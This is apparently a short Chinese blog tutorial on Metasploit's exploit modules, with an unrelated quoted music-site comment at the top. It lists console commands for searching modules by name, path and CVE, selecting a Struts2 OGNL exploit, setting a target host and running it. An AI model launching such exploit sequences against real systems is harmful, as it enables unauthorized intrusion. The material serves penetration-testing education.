Metasploit -- 渗透攻击模块(exploit)

终于熬成了不想和任何人说话,包括家里的人都不想联系,厌倦了这个世界的是是非非,就算你说晚上有太阳我都不想辩解了。。。

---- 网易云热评

作用:渗透攻击模块可以直接发起渗透攻击

1、显示所有渗透攻击模块

show exploits

根据需求筛选模块

search -h

2、查找关于mysql数据库的攻击模块

search name:mysql type:exploit

3、查找路径含有mysql的模块

search path:mysql

4、查找漏洞编号

search cve-2019-0230

5、选择要利用的模块

use 0

use exploit/multi/http/struts2_multi_eval_ognl

use exploit 按tab键获取相关提示

6、了解模块相关信息

info

7、查看需要设置的参数

8、设置共计目标

set rhosts 192.168.139.128

9、攻击

run

禁止非法,后果自负

经验分享 程序员 微信小程序 职场和发展